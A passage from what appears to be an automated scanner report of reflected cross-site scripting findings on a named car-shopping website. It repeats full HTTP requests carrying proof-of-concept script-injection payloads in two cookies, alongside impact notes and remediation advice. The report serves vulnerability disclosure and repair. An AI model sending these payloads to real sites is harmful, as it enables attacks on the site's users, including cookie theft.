Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ask-our-mechanics/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4a18bb"%3balert(1)//aa71a6423cd; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7759"%3balert(1)//b74a61ebf4 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as c7759";alert(1)//b74a61ebf4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ask-our-mechanics/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=c7759"%3balert(1)//b74a61ebf4; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8df78"%3balert(1)//5201a4e556e was submitted in the BDATALIST cookie. This input was echoed as 8df78";alert(1)//5201a4e556e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /auto-insurance-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c48df78"%3balert(1)//5201a4e556e; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fcd74"%3balert(1)//973f381dc13 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as fcd74";alert(1)//973f381dc13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /auto-insurance-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=fcd74"%3balert(1)//973f381dc13; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f42cf"%3balert(1)//2f1bdfd3bb8 was submitted in the BDATALIST cookie. This input was echoed as f42cf";alert(1)//2f1bdfd3bb8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-advice.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4f42cf"%3balert(1)//2f1bdfd3bb8; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16d60"%3balert(1)//0c306d2f8a8 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 16d60";alert(1)//0c306d2f8a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-advice.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=16d60"%3balert(1)//0c306d2f8a8; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d07d"%3balert(1)//c4d2bfc31c0 was submitted in the BDATALIST cookie. This input was echoed as 8d07d";alert(1)//c4d2bfc31c0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-blog.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c48d07d"%3balert(1)//c4d2bfc31c0; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb21a"%3balert(1)//f4f0cb5b4cd was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as cb21a";alert(1)//f4f0cb5b4cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-blog.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=cb21a"%3balert(1)//f4f0cb5b4cd; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6acbb"%3balert(1)//cf6dd0ed469 was submitted in the BDATALIST cookie. This input was echoed as 6acbb";alert(1)//cf6dd0ed469 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-dealers.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c46acbb"%3balert(1)//cf6dd0ed469; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 713df"%3balert(1)//8f3b278436a was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 713df";alert(1)//8f3b278436a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-dealers.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=713df"%3balert(1)//8f3b278436a; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e824"%3balert(1)//4d2f4dba527 was submitted in the BDATALIST cookie. This input was echoed as 1e824";alert(1)//4d2f4dba527 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-financing.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c41e824"%3balert(1)//4d2f4dba527; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56ed0"%3balert(1)//20669fda9de was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 56ed0";alert(1)//20669fda9de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-financing.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=56ed0"%3balert(1)//20669fda9de; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 25dbe"%3balert(1)//9b59bff91b9 was submitted in the BDATALIST cookie. This input was echoed as 25dbe";alert(1)//9b59bff91b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-incentives.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c425dbe"%3balert(1)//9b59bff91b9; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f72b"%3balert(1)//b82e025c3dc was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 5f72b";alert(1)//b82e025c3dc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-incentives.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=5f72b"%3balert(1)//b82e025c3dc; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b3a18"%3balert(1)//e56036844aa was submitted in the BDATALIST cookie. This input was echoed as b3a18";alert(1)//e56036844aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-news.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4b3a18"%3balert(1)//e56036844aa; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2dcea"%3balert(1)//1c6f78cfa84 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 2dcea";alert(1)//1c6f78cfa84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-news.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=2dcea"%3balert(1)//1c6f78cfa84; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78c44"%3balert(1)//1e7af7a9edd was submitted in the BDATALIST cookie. This input was echoed as 78c44";alert(1)//1e7af7a9edd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-pictures.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c478c44"%3balert(1)//1e7af7a9edd; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
